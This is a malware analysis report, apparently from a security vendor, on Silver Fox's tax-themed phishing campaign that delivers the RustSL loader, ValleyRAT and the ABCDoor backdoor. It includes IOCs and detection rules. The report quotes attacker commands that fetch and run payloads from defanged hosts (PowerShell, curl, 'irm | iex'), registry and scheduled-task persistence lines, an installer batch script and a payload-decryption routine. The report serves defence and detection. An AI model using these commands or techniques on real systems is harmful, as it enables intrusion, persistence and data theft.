B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

In December 2025, we detected a wave of malicious emails designed to look like official correspondence from the Indian tax service. A few weeks later, in January 2026, a similar campaign began targeting Russian organizations. We have attributed this activity to the Silver Fox threat group.

Both waves followed a nearly identical structure: phishing emails were styled as official notices regarding tax audits or prompted users to download an archive containing a “list of tax violations”. Inside the archive was a modified Rust-based loader pulled from a public repository. This loader would download and execute the well-known ValleyRAT backdoor. The campaign impacted organizations across the industrial, consulting, retail, and transportation sectors, with over 1600 malicious emails recorded between early January and early February.

During our investigation, we also discovered that the attackers were delivering a new ValleyRAT plugin to victim devices, which functioned as a loader for a previously undocumented Python-based backdoor. We have named this backdoor ABCDoor. Retrospective analysis reveals that ABCDoor has been part of the Silver Fox arsenal since at least late 2024 and has been utilized in real-world attacks from the first quarter of 2025 to the present day.

Email campaign

In the January campaign, victims received an email purportedly from the tax service with an attached PDF file.

The PDF contained two clickable links to download an archive, both leading to a malicious website: abc.haijing88[.]com/uploads/фнс/фнс.zip.

In the December campaign, the malicious code was embedded directly within the files attached to the email.

The email shown in the screenshot above was sent via the SendGrid cloud platform and contained an archive named ITD.-.rar. Inside was a single executable file, Click File.exe, with an Adobe PDF icon (the RustSL loader).

Additionally, in late December, emails were distributed with an attachment titled GST.pdf containing two links leading to hxxps://abc.haijing88[.]com/uploads/印度邮箱/CBDT.rar. (印度邮箱 translates from Chinese as “Indian mailbox”).

Both versions of the campaign attempt to exploit the perceived importance of tax authority correspondence to convince the victim to download the document and initiate the attack chain. The method of using download links within a PDF is specifically designed to bypass email security gateways; since the attached document only contains a link that requires further analysis, it has a higher probability of reaching the recipient compared to an attachment containing malicious code.

RustSL loader

The attackers utilized a modified version of a Rust-based loader called RustSL, whose source code is publicly available on GitHub with a description in Chinese:

The description also refers to RustSL as an antivirus bypass framework, as it features a builder with extensive customization options:

• Eight payload encryption methods
• Thirteen memory allocation methods
• Twelve sandbox and virtual machine detection techniques
• Thirteen payload execution methods
• Five payload encoding methods

Furthermore, the original version of RustSL encrypts all strings by default and inserts junk instructions to complicate analysis.

The Silver Fox APT group first began using a modified version of RustSL in late December 2025.

Silver Fox RustSL

This section examines the key changes the Silver Fox group introduced to RustSL. We will refer to this customized version as Silver Fox RustSL to distinguish it from the original.

The steganography.rs module

The attackers added a module named steganography.rs to RustSL. Despite the name, it has little to do with actual steganography; instead, it implements the unpacking logic for the malicious payload.

The threat actors also modified the RustSL builder to support the new format and payload packing.

The attackers employed several methods to deliver the encrypted malicious payload. In December, we observed files being downloaded from remote hosts followed by delivery within the loader itself. Later, the attackers shifted almost entirely to placing the malicious payload inside the same archive as the loader, disguised as a standalone file with extensions like PNG, HTM, MD, LOG, XLSX, ICO, CFG, MAP, XML, or OLD.

Encrypted malicious payload format

The encrypted payload file delivered by the Silver Fox RustSL loader followed this structure:

<RSL_START>rsl_encrypted_payload<RSL_END>

If additional payload encoding was selected in the builder, the loader would decode the data before proceeding with decryption.

The rsl_encrypted_payload followed this specific format:

char sha256_hash[32]; // decrypted payload hash
DWORD enc_payload_len;
WORD sgn_decoder_size;
char sgn_iterations;
char sgn_key;
char decoder[sgn_decoder_size];
char enc_payload[enc_payload_len];

Below is a description of the data blocks contained within it:

• sha256_hash: the hash of the decrypted payload. After decryption, the loader calculates the SHA256 hash and compares it against this value; if they do not match, the process terminates.
• enc_payload_len: the size of the encrypted payload
• sgn_iterations and sgn_key: parameters used for decryption
• sgn_decoder_size and decoder: unused fields
• enc_payload: the primary payload

Notably, the new proprietary steganography.rs module was implemented using the same logic as the public RustSL modules (such as ipv4.rs, ipv6.rs, mac.rs, rc4.rs, and uuid.rs in the decrypt directory). It utilized a similar payload structure where the first 32 bytes consist of a SHA-256 hash and the payload size.

To decrypt the malicious payload, steganography.rs employed a custom XOR-based algorithm. Below is an equivalent implementation in Python:

def decrypt(data: bytes, sgn_key: int, sgn_iterations: int) -> bytes:
    buf = bytearray(data)
    xor_key = sgn_key & 0xFF

    for _ in range(sgn_iterations):
        k = xor_key
        for i in range(len(buf)):
            dec = buf[i] ^ k

            if k & 1:
                k = (dec ^ ((k >> 1) ^ 0xB8)) & 0xFF
            else:
                k = (dec ^ (k >> 1)) & 0xFF

            buf[i] = dec

    return bytes(buf)

The unpacking process consists of the following stages:

1. Extraction of rsl_encrypted_payload.The loader extracts the encrypted payload body located between the <RSL_START> and <RSL_END> markers.
   

   Original file containing the encrypted malicious payload

2. XOR decryption with a hardcoded key.Most loaders used the hardcoded key RSL_STEG_2025_KEY.
3. Payload decoding occurs if the corresponding setting was enabled in the builder.The GitHub version of the builder offers several encoding options: Base64, Base32, Hex, and urlsafe_base64. Silver Fox utilized each option at least once. Base64 was the most frequent choice, followed by Hex and Base32, with urlsafe_base64 appearing in a few samples.
   

   Encrypted malicious payload prior to the final decryption stage

4. Decryption of the final payload using a multi-pass XOR algorithm that modifies the key after each iteration (as demonstrated in the Python algorithm provided above).

The guard.rs module

Another module added to Silver Fox RustSL is guard.rs. It implements various environment checks and country-based geofencing.

In the earliest loader samples from late December 2025, the Silver Fox group utilized every available method for detecting virtual machines and sandboxes, while also verifying if the device was located in a target country. In later versions, the group retained only the geolocation check; however, they expanded both the list of countries allowed for execution and the services used for verification.

The GitHub version of the loader only includes China in its country list. In customized Silver Fox loaders built prior to January 19, 2026, this list included India, Indonesia, South Africa, Russia, and Cambodia. Starting with a sample dated January 19, 2026 (MD5: e6362a81991323e198a463a8ce255533), Japan was added to the list.

To determine the host country, Silver Fox RustSL sends requests to five public services:

• ip-api.com (the GitHub version relies solely on this service)
• ipwho.is
• ipinfo.io
• ipapi.co
• www.geoplugin.net

Phantom Persistence

We discovered that a loader compiled on January 7, 2026 (MD5: 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), began to use the recently documented Phantom Persistence technique to establish persistence. This method abuses functionality designed to allow applications requiring a reboot for updates to complete the installation process properly. The attackers intercept the system shutdown signal, halt the normal shutdown sequence, and trigger a reboot under the guise of an update for the malware. Consequently, the loader forces the system to execute it upon OS startup. This specific sample was compiled in debug mode and logged its activity to rsl_debug.log, where we identified strings corresponding to the implementation of the Phantom Persistence technique:

[unix_timestamp] God-Tier Telemetry Blinding: Deployed via HalosGate Indirect Syscalls.
[unix_timestamp] RSL started in debug mode.
[unix_timestamp] ==========================================
[unix_timestamp]     Phantom Persistence Module (Hijack Mode) 
[unix_timestamp] ==========================================
[unix_timestamp] [*] Calling RegisterApplicationRestart...
[unix_timestamp] [+] RegisterApplicationRestart succeeded.
[unix_timestamp] [*] Note: This API mainly works for application crashes, not for user-initiated shutdowns.
[unix_timestamp] [*] For full persistence, you need to trigger the shutdown hijack logic.
[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.

Attack chain and payloads

During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:

• As an email attachment
• Via a link to an external attacker-controlled website contained within a PDF attachment

We also observed three different ways the payload was positioned relative to the loader:

• Embedded within the loader body
• Hosted on an external website as a PNG image
• Placed within the same archive as the loader

The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.

The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.

The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.

The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:

The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:

|p1:207.56.138[.]28|o1:6666|t1:1|p2:127.0.0.1|o2:8888|t2:1|p3:127.0.0.1|o3:80|t3:1|dd:1|cl:1|fz:飘诈|bb:1.0|bz:2025.11.16|jp:0|bh:0|ll:0|dl:0|sh:0|kl:0|bd:0|

The key configuration parameters in this string are:

• p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
• bz: the creation date of the configuration

The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).

Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.

ValleyRAT utilizes the registry to store its configurations and modules:

Registry key	Description
HKCU:\Console\0	For x86-based modules
HKCU:\Console\1	For x64-based modules
HKCU:\Console\IpDate	Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info	Final configuration

The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.

Custom ValleyRAT modules

The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.

HKCU:\Console\0 registry key value	Module name	Library MD5 hash	Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0	保86.dll	4a5195a38a458cdd2c1b5ab13af3b393	2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0	保86.dll	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32
2375193669e243e830ef5794226352e7	保86.dll_bin	e66bae6e8621db2a835fa6721c3e5bbe	2025-12-04 04:39:32

Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.

Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:

If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.

Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.

The module implements the following download methods:

1. Using the InternetReadFile function with the User-Agent PythonDownloader
2. Using the URLDownloadToFile function
3. Using PowerShell:
   

   powershell.exe -Command "& {[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $ProgressPreference = 'SilentlyContinue'; try { Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' -OutFile '$appdata\appclient\111.zip' -UseBasicParsing -TimeoutSec 600 } catch { exit 1 } }"

4. Using curl:
   

   curl.exe -L -o "%LOCALAPPDATA%\appclient\111.zip" "hxxp://154.82.81[.]205/YD20251001143052.zip" --silent --show-error --insecure --max-time 600

The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.

The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.

Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:

cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"

The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.

@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale

rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b

:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
    copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
    call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b

Contents of update.batAfter copying the files, the script launches the appclient Python module using the legitimate pythonw tool:

start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient

ABCDoor Python backdoor

The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.

The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:

\Sessions\1\BaseNamedObjects\python(8544): AppClientABC

We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.

The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.

Upon execution, the backdoor establishes persistence in the following locations:

1. Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
   

   "C:\Users\<username>\AppData\Local\appclient\python\pythonw.exe" -m appclient

   
   Persistence is established by executing the following command:
   

   cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "AppClient" /t REG_SZ /d "\"<path_to_pythonw.exe>\" -m appclient" /f"

2. Task scheduler: The malware executes
   

   cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"

The command creates a task named “AppClient” that runs every minute.

The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:

• MainManager: handles C2 connection and authorization (sending system metadata)
• MessageManager: registers and executes message handlers
• AutoStartManager: manages backdoor persistence
• ClientManager: handles backdoor updates and removal
• SystemInfoManager: collects data from the victim’s system, including screenshots
• RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
• FileManager: performs file system operations
• KeyboardManager: emulates keyboard input
• ProcessManager: manages system processes
• ClipboardManager: exfiltrates clipboard contents to the C2
• CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
• Utils: auxiliary functions (file upload/download, archive management, error log uploading, etc.)

Upon connecting, ABCDoor sends an auth message to the C2 with the following information in JSON format:

"role": "client",
"device_info": {
	 "device_name": device_name,
 	"os_name": os_name,
	"os_version": os_version,
	"os_release": os_release,
	"device_id": device_id,
	"install_channel": "<channel_name_from_registry>", # optional field 
	"first_install_time": "<install_time_from_registry>", # optional field
},
"version": 157 # hard-coded ABCDoor version

The code for retrieving the device identifier (device_id) in the backdoor is somewhat peculiar:

device_id = Utility.get_machine_guid_via_file_func()
device_id = Utility.get_machine_guid_via_reg()

First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version	Compiled date (UTC)	Key updates	ABCDoor .pyd MD5 hash
121	2024.12.19 18:27:11	–  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg) –  No OOP used –  Registry persistence	5b998a5bc5ad1c550564294034d4a62c
143	2025.02.04 01:15:00	Client updates –  Task scheduler persistence –  OOP implementation (classes) –  Clipboard management –  Process management –  Asymmetric file and directory encryption	c50c980d3f4b7ed970f083b0d37a6a6a
152	2025.04.01 15:39:36	–  DPAPI encryption functions –  Chunked file uploading to C2	de8f0008b15f2404f721f76fac34456a
154	2025.05.09 13:36:24	–  Implementation of installation channels –  Key combination emulation	9bf9f635019494c4b70fb0a7c0fb53e4
156	2025.08.11 13:36:10	–  Retrieval and logging of initial installation time to the registry	a543b96b0938de798dd4f683dd92a94a
157	2025.08.28 14:23:57	–  Use of DDA source in ffmpeg for monitor screen broadcasting	fa08b243f12e31940b8b4b82d3498804
157	2025.09.23 11:38:17	–  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)	13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

When executed, the SFX archive ran the following script:

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
